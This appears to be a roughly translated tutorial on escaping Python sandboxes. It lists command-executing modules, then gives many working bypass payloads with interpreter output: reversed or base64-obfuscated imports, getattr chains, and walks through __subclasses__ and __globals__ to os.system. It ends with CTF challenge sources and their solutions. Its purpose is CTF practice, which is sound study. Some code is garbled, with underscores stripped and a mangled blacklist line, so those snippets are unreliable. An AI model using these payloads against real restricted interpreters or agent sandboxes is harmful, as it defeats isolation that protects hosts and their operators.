python sandbox escape

Catalog

1. Preparation

This part only needs a simple browsing and a specific impression. If you are interested, Google and Baidu can understand it in depth.

python has built-in modules for executing system commands:

os
commands:(python 2.x)
subprocess
timeit
paltform
pty
bdb
cgi
...


subprocess

Module is used to manage subprocesses. You can call external commands as subprocesses, generate new processes, connect to their input/output/error pipes, and get their return codes.

subprocess.Popen class
This class is used to execute a subprogram in a new process. The subprocess's run, call, check & call, check & output, getoutput and getstatusoutput functions belong to this class


os

A module used to access operating system functions.
General operation: 1. System operation 2. Directory operation 3. Judgment operation

System operation:
os.sep is used to distinguish system path separator
os.getenv reading environment variables
os.getcwd get current path
Directory operation: (add, delete, modify and query)
os.mkdir create a directory
Os.removediers can delete the empty directory with multi-level recursion. If there are files, they cannot be deleted
os.rename() rename
Judgment operation:
os.path.exists(path) determines whether a file or directory exists
os.path.isfile(path) to determine whether it is a file
os.path.isdir(path) determines whether it is a directory

path Modular os.path.x
x:basemae,dirname,getsize,abspath,join, ...


commands

This module has been replaced by subprocess in 3.x. But it was also one of the important built-in modules in earlier versions of 2.x, with three functions:

getoutput(cmd): execute the cmd command and return the output, with the result of str.
getstatus(file): returns the result of executing the ls -ld file command. This function has been discarded by python, not recommended
getstatusoutput(cmd): execute the cmd command and return the execution status and output content, with the results of int and str.


timeit

Time module, used to accurately measure code execution time
This module defines three utility functions and a common class.

timeit.timeit(stmt='pass', setup='pass', timer=, number=1000000)
To create a timer instance, the parameters are stmt: the statement or function to be measured, setup: the import statement of initialization code or construction environment, timer: timing function, number: the number of statements executed in each measurement

timeit.repeat(stmt='pass', setup='pass', timer=, repeat=3, number=1000000)
Create a timer instance. The parameters are stmt: the statement or function to be measured, setup: the import statement of initialization code or construction environment, timer: the timing function, repeat: the number of repeated measurements, number: the number of statements executed in each measurement

timeit.default_timer()
timer

class timeit.Timer(stmt='pass', setup='pass', timer=)
Class to calculate the execution speed of small pieces of code. The parameters required by the constructor are stmt: statement or function to be measured, setup: import statement to initialize code or build environment, timer: timing function. The default value of the first two parameters is "pass", and the timer parameter is platform related; the first two parameters can contain multiple statements, separated by semicolons (;) or new lines.

Some methods of module


paltform

This module is used to obtain information about the operating system

platform.platform() gets the operating system name and version number
platform.node() gets the network name of the computer
Get compiler related information in python
... ...


pty

This module defines the operation of processing pseudo terminal: starting another process and writing and reading its control terminal programmatically.
The module defines the following functions:

pty.fork() connects the control terminal of the subprocess to a pseudo terminal
pty.openpty() opens a new pseudo terminal
pty.spawn() generates a process that connects its control terminal with the io annotation of the current process. (often used to block programs that insist on reading from the control terminal)



Functions that execute system commands

print(os.system('whoami'))
print(os.popen('whoami').read()) 
print(os.popen2('whoami').read()) # 2.x
print(os.popen3('whoami').read()) # 2.x
print(os.popen4('whoami').read()) # 2.x
#commands content of lower module
commands.getoutput('ls *.sh')
>>>'install_zabbix.sh\nmanage_deploy.sh\nmysql_setup.sh\npython_manage_deploy.sh\nsetup.sh'
>commands.getstatusoutput('ls *.sh')
commands.getstatus('ls *.sh')
>>> '0'
commands.getstatusoutput('ls *.sh')
>>>(0,'install_zabbix.sh\nmanage_deploy.sh\nmysql_setup.sh\npython_manage_deploy.sh\nsetup.sh'




Two magic methods

The first is that the class has the magic method
The second is that instances, classes and functions all have the magic method of "getattribute"

dir([]) #Example
dir([].class) #class
dir([].append) #function

#View supported methods in the instance
>>> class haha:
...     a=7
...
>>> dir(haha)
['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'a']

#View supported methods / objects in a class
>>> dir([].__class__)
['__add__', '__class__', '__contains__', '__delattr__', '__delitem__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__iadd__', '__imul__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__reversed__', '__rmul__', '__setattr__', '__setitem__', '__sizeof__', '__str__', '__subclasshook__', 'append', 'clear', 'copy', 'count', 'extend', 'index', 'insert', 'pop', 'remove', 'reverse', 'sort']
>>> dir([].copy.__class__)
['__call__', '__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__text_signature__']


#View supported methods in specific functions
>>> dir([].__class__.__base__.__subclasses__()[72].__init__)
['__call__', '__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__get__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__name__', '__ne__', '__new__', '__objclass__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__text_signature__']


#Call the init method of []. class using dict
>>> [].__class__.__dict__['__init__']
<slot wrapper '__init__' of 'list' objects>
#Use getattribute to call the init method of []. class
>>> [].__class__.__getattribute__([],'__init__')
<method-wrapper '__init__' of list object at 0x000001BAB90317C0>
#The first one returns a method, and the second one returns an instance space
 #In general, when payload1 is constructed:
[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os']
Only the first method (dict) has global__

Functions that can execute arbitrary code in python

1.timeit
import timeit
timeit.timeit("import('os').system('dir')",number=1)
#coding:utf-8 import timeit timeit.timeit("import('os').system('')", number=1)

2.exec and eval
eval('import("os").system("dir")')

3.platform
import platform
print platform.popen('dir').read()
import platform platform.popen('id', mode='r', bufsize=-1).read()

4.random,math
//Through reading and writing documents, specific analysis. Here are examples

Library imported into os or sys

You can use index when you need index position later.. Don't really count one by one

>>> dir([].__class__).index('__len__')
20

You need to be familiar with the built-in library and the reference relationship between libraries.

#Modules 2 stands for python2.x
all_modules_2 = [
    'BaseHTTPServer', 'imaplib', 'shelve', 'Bastion',
 'anydbm', 'imghdr', 'shlex', 'CDROM', 'argparse', 'imp', 'shutil', 'CGIHTTPServer', 'array', 'importlib', 'signal', 'Canvas', 'ast', 'imputil', 'site', 'ConfigParser', 'asynchat', 'inspect', 'sitecustomize', 'Cookie', 'asyncore', 'io', 'smtpd', 'DLFCN', 'atexit', 'itertools', 'smtplib',
  'Dialog', 'audiodev', 'json', 'sndhdr', 'DocXMLRPCServer', 'audioop', 'keyword', 'socket', 'FileDialog', 'base64', 'lib2to3', 'spwd', 'FixTk', 'bdb', 'linecache', 'sqlite3', 'HTMLParser', 'binascii', 'linuxaudiodev', 'sre', 'IN', 'binhex', 'locale', 'sre_compile', 'MimeWriter', 'bisect', 'logging', 'sre_constants', 'Queue', 'bsddb', 'lsb_release', 'sre_parse', 'ScrolledText', 'bz2', 'macpath', 'ssl', 'SimpleDialog', 'cPickle', 'macurl2path', 'stat', 'SimpleHTTPServer', 'cProfile', 'mailbox', 'statvfs',
   'SimpleXMLRPCServer', 'cStringIO', 'mailcap', 'string', 'SocketServer', 'calendar', 'markupbase', 'stringold', 'StringIO', 'cgi', 'marshal', 'stringprep', 'TYPES', 'cgitb', 'math', 'strop', 'Tix', 'chunk', 'md5', 'struct', 'Tkconstants', 'cmath', 'mhlib', 'subprocess', 'Tkdnd', 'cmd', 'mimetools', 'sunau', 'Tkinter', 'code', 'mimetypes', 'sunaudio', 'UserDict', 'codecs', 'mimify', 'symbol', 'UserList', 'codeop', 'mmap', 'symtable', 'UserString',
    'collections', 'modulefinder', 'sys', '_LWPCookieJar', 'colorsys', 'multifile', 'sysconfig', '_MozillaCookieJar', 'commands', 'multiprocessing', 'syslog', '__builtin__', 'compileall', 'mutex', 'tabnanny', '__future__', 'compiler', 'netrc', 'talloc', '_abcoll', 'contextlib', 'new', 'tarfile', '_ast', 'cookielib', 'nis', 'telnetlib', '_bisect', 'copy',
     'nntplib', 'tempfile', '_bsddb', 'copy_reg', 'ntpath', 'termios', '_codecs', 'crypt', 'nturl2path', 'test', '_codecs_cn', 'csv', 'numbers', 'textwrap', '_codecs_hk', 'ctypes', 'opcode', '_codecs_iso2022', 'curses', 'operator', 'thread', '_codecs_jp', 'datetime', 'optparse', 'threading', '_codecs_kr', 'dbhash', 'os', 'time', '_codecs_tw', 'dbm', 'os2emxpath', 'timeit', '_collections', 'decimal', 'ossaudiodev', 'tkColorChooser', '_csv', 'difflib', 'parser',
      'tkCommonDialog', '_ctypes', 'dircache', 'pdb', 'tkFileDialog', '_ctypes_test', 'dis', 'pickle', 'tkFont', '_curses', 'distutils', 'pickletools', 'tkMessageBox', '_curses_panel', 'doctest', 'pipes', 'tkSimpleDialog', '_elementtree', 'dumbdbm', 'pkgutil', 'toaiff', '_functools', 'dummy_thread', 'platform', 'token', '_hashlib', 'dummy_threading', 'plistlib', 'tokenize', '_heapq', 'email', 'popen2', 'trace', '_hotshot', 'encodings', 'poplib', 'traceback', '_io', 'ensurepip', 'posix', 'ttk', '_json', 'errno', 'posixfile', 'tty', '_locale', 'exceptions', 'posixpath', 'turtle', '_lsprof', 'fcntl', 'pprint', 'types',
       '_md5', 'filecmp', 'profile', 'unicodedata', '_multibytecodec', 'fileinput', 'pstats', 'unittest', '_multiprocessing', 'fnmatch', 'pty', 'urllib', '_osx_support', 'formatter', 'pwd', 'urllib2', '_pyio', 'fpformat', 'py_compile', 'urlparse', '_random', 'fractions', 'pyclbr', 'user', '_sha', 'ftplib', 'pydoc', 'uu', '_sha256', 'functools', 'pydoc_data', 'uuid', '_sha512',
        'future_builtins', 'pyexpat', 'warnings', '_socket', 'gc', 'quopri', 'wave', '_sqlite3', 'genericpath', 'random', 'weakref', '_sre', 'getopt', 're', 'webbrowser', '_ssl', 'getpass', 'readline', 'whichdb', '_strptime', 'gettext', 'repr', 'wsgiref', '_struct', 'glob', 'resource', 'xdrlib', '_symtable', 'grp', 'rexec', 'xml', '_sysconfigdata', 'gzip', 'rfc822', 'xmllib', '_sysconfigdata_nd', 'hashlib', 'rlcompleter', 'xmlrpclib', '_testcapi', 'heapq', 'robotparser', 'xxsubtype', '_threading_local', 'hmac', 'runpy', 'zipfile', '_warnings', 'hotshot', 'sched',
         'zipimport', '_weakref', 'htmlentitydefs', 'select', 'zlib', '_weakrefset', 'htmllib', 'sets', 'abc', 'httplib', 'sgmllib', 'aifc', 'ihooks', 'sha']

all_modules_3 = [
    'AptUrl', 'hmac', 'requests_unixsocket', 'CommandNotFound', 'apport', 'hpmudext', 'resource', 'Crypto', 'apport_python_hook', 'html', 'rlcompleter', 'DistUpgrade', 'apt', 'http', 'runpy', 'HweSupportStatus', 'apt_inst', 'httplib2', 'scanext', 'LanguageSelector', 'apt_pkg', 'idna', 'sched', 'NvidiaDetector', 'aptdaemon', 'imaplib', 'secrets',
     'PIL', 'aptsources', 'imghdr', 'secretstorage', 'Quirks', 'argparse', 'imp', 'select', 'UbuntuDrivers', 'array', 'importlib', 'selectors', 'UbuntuSystemService', 'asn1crypto', 'inspect', 'shelve', 'UpdateManager', 'ast', 'io', 'shlex', '__future__', 'asynchat', 'ipaddress', 'shutil', '_ast', 'asyncio', 'itertools', 'signal', '_asyncio', 'asyncore', 'janitor', 'simplejson', '_bisect', 'atexit', 'json', 'site', '_blake2', 'audioop', 'keyring', 'sitecustomize',
      '_bootlocale', 'base64', 'keyword', 'six', '_bz2', 'bdb', 'language_support_pkgs', 'smtpd', '_cffi_backend', 'binascii', 'launchpadlib', 'smtplib', '_codecs', 'binhex', 'linecache', 'sndhdr', '_codecs_cn', 'bisect', 'locale', 'socket', '_codecs_hk', 'brlapi', 'logging', 'socketserver', '_codecs_iso2022', 'builtins', 'louis', 'softwareproperties', '_codecs_jp', 'bz2', 'lsb_release', 'speechd', '_codecs_kr', 'cProfile', 'lzma', 'speechd_config', '_codecs_tw', 'cairo', 'macaroonbakery', 'spwd', '_collections', 'calendar', 'macpath', 'sqlite3', '_collections_abc', 'certifi',
       'macurl2path', 'sre_compile', '_compat_pickle', 'cgi', 'mailbox', 'sre_constants', '_compression', 'cgitb', 'mailcap', 'sre_parse', '_crypt', 'chardet', 'mako', 'ssl', '_csv', 'chunk', 'markupsafe', 'stat', '_ctypes', 'cmath', 'marshal', 'statistics', '_ctypes_test', 'cmd', 'math', 'string', '_curses', 'code', 'mimetypes', 'stringprep', '_curses_panel', 'codecs', 'mmap', 'struct', '_datetime', 'codeop', 'modual_test', 'subprocess', '_dbm', 'collections', 'modulefinder', 'sunau', '_dbus_bindings', 'colorsys',
        'multiprocessing', 'symbol', '_dbus_glib_bindings', 'compileall', 'nacl', 'symtable', '_decimal', 'concurrent', 'netrc', 'sys', '_dummy_thread', 'configparser', 'nis', 'sysconfig', '_elementtree', 'contextlib', 'nntplib', 'syslog', '_functools', 'copy', 'ntpath', 'systemd', '_gdbm', 'copyreg', 'nturl2path', 'tabnanny', '_hashlib', 'crypt', 'numbers', 'tarfile', '_heapq', 'cryptography', 'oauth', 'telnetlib', '_imp', 'csv', 'olefile', 'tempfile', '_io', 'ctypes', 'opcode', 'termios', '_json', 'cups', 'operator', 'test', '_locale', 'cupsext', 'optparse', 'textwrap', '_lsprof', 'cupshelpers', 'orca', '_lzma', 'curses', 'os',
         'threading', '_markupbase', 'datetime', 'ossaudiodev', 'time', '_md5', 'dbm', 'parser', 'timeit', '_multibytecodec', 'dbus', 'pathlib', 'token', '_multiprocessing', 'deb822', 'pcardext', 'tokenize', '_opcode', 'debconf', 'pdb', 'trace', '_operator', 'debian', 'pexpect', 'traceback', '_osx_support', 'debian_bundle', 'pickle', 'tracemalloc', '_pickle', 'decimal', 'pickletools', 'tty', '_posixsubprocess', 'defer', 'pipes', 'turtle',
          '_pydecimal', 'difflib', 'pkg_resources', 'types', '_pyio', 'dis', 'pkgutil', 'typing', '_random', 'distro_info', 'platform', 'ufw', '_sha1', 'distro_info_test', 'plistlib', 'unicodedata', '_sha256', 'distutils', 'poplib', 'unittest', '_sha3', 'doctest', 'posix', 'urllib', '_sha512', 'dummy_threading', 'posixpath', 'urllib3', '_signal', 'email', 'pprint', 'usbcreator', '_sitebuiltins', 'encodings', 'problem_report', 'uu', '_socket', 'enum', 'profile', 'uuid', '_sqlite3', 'errno', 'pstats', 'venv', '_sre', 'faulthandler', 'pty', 'wadllib', '_ssl', 'fcntl', 'ptyprocess', 'warnings', '_stat', 'filecmp', 'pwd', 'wave', '_string', 'fileinput',
           'py_compile', 'weakref', '_strptime', 'fnmatch', 'pyatspi', 'webbrowser', '_struct', 'formatter', 'pyclbr', 'wsgiref', '_symtable', 'fractions', 'pydoc', 'xdg', '_sysconfigdata_m_linux_x86_64-linux-gnu', 'ftplib', 'pydoc_data', 'xdrlib', '_testbuffer', 'functools', 'pyexpat', 'xkit', '_testcapi', 'gc', 'pygtkcompat', 'xml', '_testimportmultiple', 'genericpath', 'pymacaroons', 'xmlrpc', '_testmultiphase', 'getopt', 'pyrfc3339', 'xxlimited',
            '_thread', 'getpass', 'pytz', 'xxsubtype', '_threading_local', 'gettext', 'queue', 'yaml', '_tracemalloc', 'gi', 'quopri', 'zipapp', '_warnings', 'glob', 'random', 'zipfile', '_weakref', 'grp', 're', 'zipimport', '_weakrefset', 'gtweak', 'readline', 'zlib', '_yaml', 'gzip', 'reportlab', 'zope', 'abc', 'hashlib', 'reprlib', 'aifc', 'heapq']



2. Sandbox escape

To get to the point, first introduce some methods. The specific construction of payload s usually needs to be combined.

Fancy import

Disabling import os is definitely not safe because:

import..os
import...os

Can achieve the same effect as import os.
Even if multiple spaces are filtered, what python can import is

import: import('os')´╝îimport, importlib: importlib.import_module('os').system('ls')
It can also be implemented through execfile (restrict python2.x, 3 to delete this module):
execfile('/usr/lib/python2.7/os.py')
system('ls')
But it can be achieved indirectly
with open('/usr/lib/python3.6/os.py','r') as f:
exec(f.read())
system('ls')



Fancy processing string

Some dangerous strings, such as os, eval and so on, are often forbidden in sandbox. But you can use the fancy string processing method, not directly through "os" to import, but through "os" alias to import.
Take the introduction of os library as an example.
If the sandbox ban has an os library, if there is an os in the code, it must not be executed. However, the os can be introduced indirectly through other operations:

 > __import__('so'[::-1]).system('ls')  #Reverse print
 > b = 'o'
   a = 's'
   __import__(a+b).system('ls')     #Character mosaic

 >>> eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])  #eval function
root
0
>>> exec(')"imaohw"(metsys.so ;so tropmi'[::-1])    #exec function
root

However, in general, eval and exec are filtered because they are also dangerous.
There are many ways to deform strings:
Reverse order, splicing, base64, hex, rot13, rot1 This operation can be realized, and the deformation mode can be selected according to the specific situation.



Restore sys.modules

sys.modules is a dictionary that stores the loaded module information. If python is the module just started, it is the module that the interpreter automatically loads when it starts. Some libraries (eg:os) are loaded by default, but cannot be used directly, because the module bits in the dictionary are not visible to the current space when they are import ed.

sys.modules['os'] = 'not allowed' 
del sys.modules['os']
import os
os.system('ls')

There's also an import method for builtins

(lambda x:1).__globals__['__builtins__'].eval("__import__('os').system('ls')")
(lambda x:1).__globals__['__builtins__'].__dict__['eval']("__import__('os').system('ls')")


Fancy execution function

If the system function is disabled, the system command can not be executed through os.system, and the system can not be realized through the method of processing string, so other ways should be considered to solve this problem.

  1. There are many other functions in the os module that can execute system commands (see functions that can execute system commands at the beginning)

  2. You can also get object methods and attributes through getattr, getattr, and getattribute.
import os
getattr(os, 'metsys'[::-1])('whoami')
#If import is not allowed
getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')
root
0

There is an interesting phenomenon about "getattribute":

class Tree(object):
    def __init__(self,name):
        self.name = name
        self.cate = "plant"
    def __getattribute__(self,obj):
        if obj.endswith("e"):
            return object.__getattribute__(self,obj)
        else:
            return self.call_wind()
    def call_wind(self):
        return "A person in a high position is liable to be attacked"
aa = Tree("Big tree")
print(aa.name)#Because name ends with e, the returned one is name, so "big tree" is printed out
print(aa.wind)#This command first calls the \\\\\\\\\\\\\\\\\.

3. Through the built-in modules builtin, builtins, builtins and builtins. You need to import to view modules, that is, although these modules are built-in functions (you can use the content without importing), you need to import them if you want to view the information of modules.
2.x
>>> __builtin__
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError: name '__builtin__' is not defined
>>
>>> import __builtin__
>>> __builtin__
<module '__builtin__' (built-in)>

3.x: 
>>> builtins
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError: name 'builtins' is not defined
>>> import builtins
>>> builtins
<module 'builtins' (built-in)>

Builtins? Both. Therefore, they are all represented by builtins.
If the reload inside the builtins is not deleted, you can use reload to recover the deleted danger function (eval...) in the builtins

2.x's reload is built-in. 3.x needs to import, and then import. Reload. The parameter of reload is module, so it can definitely be used to reload other modules, which is mentioned below.



Escape by inheritance

Python supports multiple inheritance. Before 2.2, the judgment search of methods was based on depth first (classic class), and then developed into a limited breadth (new class). Later, the search algorithm of new class became C3 algorithm. All the new classes in Python have an attribute (mro) that is a tuple, which records the inheritance relationship of the class.

>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)

An instance of a class will point to the corresponding class of that instance when it gets the properties of the class. The above 'belongs to str class, and it inherits the object class.
At the same time, the functions that determine the inheritance of an instance include base and bases__

>>> ''.__class__.__base__
<class 'object'>
>>> ''.__class__.__bases__
(<class 'object'>,)
>>> class test1:
...     pass
...
>>> test1.__base__
<class 'object'>

What about using inheritance relationship?
When setting the sandbox, the os is deleted, that is, the os cannot be imported directly. However, if there is a library called ss, and the os is introduced in ss, the os can be obtained through global s.

(globals is the global variable defined in the global namespace where the function is located. Globals: this attribute is unique to the function and records the value of the global variable of the current file. If a file calls the os, sys and other libraries, but we can only access a function or an object of the file, then we can access the global variable by using the globals attribute

For example, the site library introduces os.

>>> import site
>>> site.os
<module 'os' from 'C:\\Users\\xx\\AppData\\Local\\Programs\\Python\\Python39\\lib\\os.py'>

In other words, if you can directly refer to site, it is equivalent to the introduction of os. But what if site is also disabled?
Then we can use reload to load os in a fancy way:

>>> import site
>>> os
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError: name 'os' is not defined
>>> os = reload(site.os)
>>> os.system('whoami')
xx
0

In this way, you can skip not only one step, but also several steps, i.e. a - > OS, B - > A - > OS.

The built-in modules of os have been imported in advance
<class 'site._Printer'>
<class 'site.Quitter'>
<class 'warnings.catch_warnings'>

eg:

#A->os example

>>> for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i
...
(0, <type 'type'>)
(1, <type 'weakref'>)
(2, <type 'weakcallableproxy'>)
(3, <type 'weakproxy'>)
(4, <type 'int'>)
(5, <type 'basestring'>)
(6, <type 'bytearray'>)
(7, <type 'list'>)
(8, <type 'NoneType'>)
(9, <type 'NotImplementedType'>)
(10, <type 'traceback'>)
(11, <type 'super'>)
(12, <type 'xrange'>)
(13, <type 'dict'>)
(14, <type 'set'>)
(15, <type 'slice'>)
(16, <type 'staticmethod'>)
(17, <type 'complex'>)
(18, <type 'float'>)
(19, <type 'buffer'>)
(20, <type 'long'>)
(21, <type 'frozenset'>)
(22, <type 'property'>)
(23, <type 'memoryview'>)
(24, <type 'tuple'>)
(25, <type 'enumerate'>)
(26, <type 'reversed'>)
(27, <type 'code'>)
(28, <type 'frame'>)
(29, <type 'builtin_function_or_method'>)
(30, <type 'instancemethod'>)
(31, <type 'function'>)
(32, <type 'classobj'>)
(33, <type 'dictproxy'>)
(34, <type 'generator'>)
(35, <type 'getset_descriptor'>)
(36, <type 'wrapper_descriptor'>)
(37, <type 'instance'>)
(38, <type 'ellipsis'>)
(39, <type 'member_descriptor'>)
(40, <type 'file'>)
(41, <type 'PyCapsule'>)
(42, <type 'cell'>)
(43, <type 'callable-iterator'>)
(44, <type 'iterator'>)
(45, <type 'sys.long_info'>)
(46, <type 'sys.float_info'>)
(47, <type 'EncodingMap'>)
(48, <type 'fieldnameiterator'>)
(49, <type 'formatteriterator'>)
(50, <type 'sys.version_info'>)
(51, <type 'sys.flags'>)
(52, <type 'exceptions.BaseException'>)
(53, <type 'module'>)
(54, <type 'imp.NullImporter'>)
(55, <type 'zipimport.zipimporter'>)
(56, <type 'posix.stat_result'>)
(57, <type 'posix.statvfs_result'>)
(58, <class 'warnings.WarningMessage'>)
(59, <class 'warnings.catch_warnings'>)
(60, <class '_weakrefset._IterationGuard'>)
(61, <class '_weakrefset.WeakSet'>)
(62, <class '_abcoll.Hashable'>)
(63, <type 'classmethod'>)
(64, <class '_abcoll.Iterable'>)
(65, <class '_abcoll.Sized'>)
(66, <class '_abcoll.Container'>)
(67, <class '_abcoll.Callable'>)
(68, <type 'dict_keys'>)
(69, <type 'dict_items'>)
(70, <type 'dict_values'>)
(71, <class 'site._Printer'>)
(72, <class 'site._Helper'>)
(73, <type '_sre.SRE_Pattern'>)
(74, <type '_sre.SRE_Match'>)
(75, <type '_sre.SRE_Scanner'>)
(76, <class 'site.Quitter'>)
(77, <class 'codecs.IncrementalEncoder'>)
(78, <class 'codecs.IncrementalDecoder'>)
>>> ''.__class__.__mro__[-1].__subclasses__()[71]._Printer__setup.__globals__['os']
<module 'os' from '/usr/lib/python2.7/os.pyc'

#Example 2
>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.keys()
['updatecache', 'clearcache', '__all__', '__builtins__', '__file__', 'cache', 'checkcache', 'getline', '__package__', 'sys', 'getlines', '__name__', 'os', '__doc__']
>>> a=[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12]
>>>>a
<module 'os' from '/usr/lib/python2.7/os.pyc'>
#Import successfully and continue to use
>>>a.__dict__.keys().index('system')
79
>>> a.__dict__.keys()[79]
'system'
>>> b=a.__dict__.values()[79]
>>> b
<built-in function system>
>>> b('whoami')
root

Two examples show that os appears after execution.

 #A->B->os                
 # This example is limited to python2.x
 >>> import warnings
 >>> warnings.os Traceback (most recent call last):   File "<stdin>", line 1, in <module> AttributeError: 'module' object has no attribute 'os'
>>> warnings.linecache
 <module 'linecache' from '/usr/lib/python2.7/linecache.pyc'>
>>>
>>> warnings.linecache.os
 <module 'os' from '/usr/lib/python2.7/os.pyc'>
 #So the inheritance chain can be written like this
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')
root
0


-------------------------------------------

#There is also a function available in the warnings library, warnings.catch_warnings, which has a_module attribute    
>>> [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os.system('whoami')
root
0

#Although there is no linecache in warnings in 3.x, there are also "builtins"__
>>> ''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['system']('whoami')
root
0


#In py3.x, there are < class' OS. \
>>> ''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['system']('whoami')
root
0

#If the object can be used, the above formula can be simplified:
>>> object.__subclasses__()[117].__init__.__globals__['system']('whoami')
root
0

#Use the call of builtin function or method
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval, '1+1')

#The above formula can be simplified
[].__getattribute__('append').__class__.__call__(eval, '1+1')

#There's another way to use it
class test(dict):
    def __init__(self):
        print(super(test, self).keys.__class__.__call__(eval, '1+1'))
 # If it is 3.x, it can be abbreviated as:
       # super().keys.__class__.__call__(eval, '1+1'))
test()

Through the above description, we can know that through the function inheritance, we can realize the function needed to import in a variety of ways to achieve the desired escape purpose.
In conclusion:
1. Get the object through the properties / methods such as class, mro, subclasses, bases, etc
2. According to "globals", find the libraries that can be directly used, such as "builtins" or "eval", or find the builtins "function" or "method class / type
3. Run eval directly after call



File read and write

There are two built-in functions file in python2.x, open can be used for file reading (file is not used in python3.x)
The types.FileType(rw), platform.popen(rw), linecache.getlines ® libraries can write files, which is more harmful than reading.
Because, if you can write a file, you can first write a file (xx.py), and then import it.

xx.py:         #Note: it is better to choose a common standard library name for xx naming, because the filtered library name may adopt the way of white list. But it cannot be the same as the library in sys.modules. Otherwise, it cannot be used normally, and python will directly add from sys.modules
	import os
	print(os.system('whoami'))
>>> import math
root
0

According to the above content, several payload structures can be found to bypass:

builtins.open('filename').read() 'context' ().class.base.subclasses()40.read() 'context'



Other

Two symbols [,] may also be filtered in the sandbox. In this case, we need to use pop and getitem instead of the impact of the lack of [,] two symbols.

>>> ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.get('linecache').os.popen('whoami').read()
'root\n'

#New feature f-string can be used later in python 3.6
>>> f'{__import__("os").system("whoami")}'
root
'0'



3. Summary / ideas

Generally, escape uses these libraries to try:

os
subprocess
commands

If it's all by ban, you can try to prepare the two magic methods mentioned in the content to bypass the string limit, or use built-in functions to bypass.




4. examples

Just read the content always feel confused, only after a certain amount of practice to read this article again can bring more gains.
I will put the following questions directly in my resources. Welcome to download the exercises.



1. ISCC 2016 Pwn300 pycalc

#!/usr/bin/env python2
# -*- coding:utf-8 -*-

def banner():
    print "============================================="
    print "   Simple calculator implemented by python   "
    print "============================================="
    return

def getexp():
    return raw_input(">>> ")

def _hook_import_(name, *args, **kwargs):
    module_blacklist = [****]
    rbid in module_blacklist:
        if name == forbid:        # don't let user import these modules
            raise RuntimeError('No you can\' import {0}!!!'.format(forbid))
    # normal modules can be imported
    return __import__(name, *args, **kwargs)

def sandbox_filter(command):
    blacklist = ['exec', 'sh', '__getitem__', '__setitem__',
                 '=', 'open', 'read', 'sys', ';', 'os']
    for forbid in blacklist:
        if forbid in command:
            return 0
    return 1

def sandbox_exec(command):      # sandbox user input
    result = 0
    __sandboxed_builtins__ = dict(__builtins__.__dict__)
    __sandboxed_builtins__['__import__'] = _hook_import_    # hook import
    del __sandboxed_builtins__['open']
    _global = {
        '__builtins__': __sandboxed_builtins__
    }
    if sandbox_filter(command) == 0:
        print 'Malicious user input detected!!!'
        exit(0)
    command = 'result = ' + command
    try:
        exec command in _global     # do calculate in a sandboxed environment
    except Exception, e:
        print e
        return 0
    result = _global['result']  # extract the result
    return result

banner()
while 1:
    command = getexp()
    print sandbox_exec(command)

The exec command in the code is very safe. Exec runs in a custom global namespace, which makes it impossible for many payload s to execute in the restricted execution mode environment. But there are other special methods that can be implemented.

>>> ''.__class__.__mro__[-1].__subclasses__()[71]._Printer__setup.__globals__
restricted attribute
>>> getattr(getattr(__import__('types'), 'FileType')('key'), 're''ad')()
file() constructor not accessible in restricted mode
>>> getattr(__import__('types').__builtins__['__tropmi__'[::-1]]('so'[::-1]), 'mets' 'ys'[::-1])('whoami')
root


2.__ future _

from __future__ import print_function
banned =[****]
targets = __builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:
    del __builtins__.__dict__[x]
while 1:
    print(">>>", end=' ')
    data = raw_input()
    for no in banned:
        if no.lower() in data.lower():
            print("No bueno")
            break
    else: # this means nobreak
        exec data

From the source code, we can know that there is no ban reload function, so the idea can be reload built-in function. But reload(builtins) is not correct after the attempt. And because the topic only contains the functions in builtins, you can try to complete it through inheritance (see the a - > OS example above, using < class' site. \

print("".class.mro[2].subclasses()[72].init.globals['os']).system('dir')
Obviously, the above os is disabled, so you need to use string deformation (see above). Here we use the commonly used base64 processing
print("".class.mro[2].subclasses()[72].init.globals['b3M='.decode('base64')]).system('dir')
There are other payload s to analyze:
print(().class.bases[0].subclasses()[59].init.func_globals['linecache'].dict['o'+'s'].dict'sy'+'stem')



3.hackuctf 2012

def make_secure():
	UNSAFE = [****]
	 
	for func in UNSAFE:
		del __builtins__.__dict__[func] 
	
from re import findall

#Remove dangerous builtins
make_secure()
print'Go Ahead, Expoit me >;D'
